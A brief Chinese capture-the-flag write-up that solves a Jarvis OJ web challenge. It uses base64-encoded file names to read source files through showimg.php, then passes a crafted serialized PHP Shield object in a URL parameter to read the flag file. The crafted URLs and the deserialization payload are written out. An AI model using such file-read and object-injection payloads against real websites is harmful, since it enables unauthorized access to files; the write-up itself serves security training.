开学前组织的培训。
题一
打开题目网址后,发现是一张图片,查看网页源代码
view-source:http://web.jarvisoj.com:32768/
源代码:
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
发现img的值是base64编码的
来到base64编解码的网站解码
https://www.qqxiuzi.cn/bianma/base64.htm
发现解码后为shield.jpg
所以将index.php用base64编码,得到aW5kZXgucGhw,构造首页的网址
web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
加上前缀view-source:,查看网页源代码
发现文件包含shield.php,同样将其base64加密,得到c2hpZWxkLnBocA==,构造网址
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
同样加上view-source:的前缀
观察可以发现,Shield.php作用是读取文件
至此,可以分析思路,在index.php中通过get传值,获取$class的值,并将其赋给$g,然后调用shield.php中的readfile()方法,读取文件内容并输出。
所以我们可以构造序列化的Shield对象,$file的值为pctf.php,源代码为:
<?php
//flag is in pctf.php
class Shield {
public $file = "pctf.php";
}
$a = new Shield();
echo serialize($a);
?>
序列化的字符串为
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
构造传值url
view-source:web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
拿到flag